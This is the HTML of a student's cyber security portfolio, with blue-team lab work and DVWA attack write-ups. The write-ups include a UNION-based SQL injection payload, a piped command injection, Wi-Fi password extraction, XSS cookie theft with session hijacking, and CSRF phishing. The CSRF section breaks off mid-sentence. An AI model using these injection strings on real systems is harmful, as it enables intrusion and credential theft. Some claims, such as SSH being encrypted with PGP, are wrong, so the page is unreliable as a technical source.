class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red 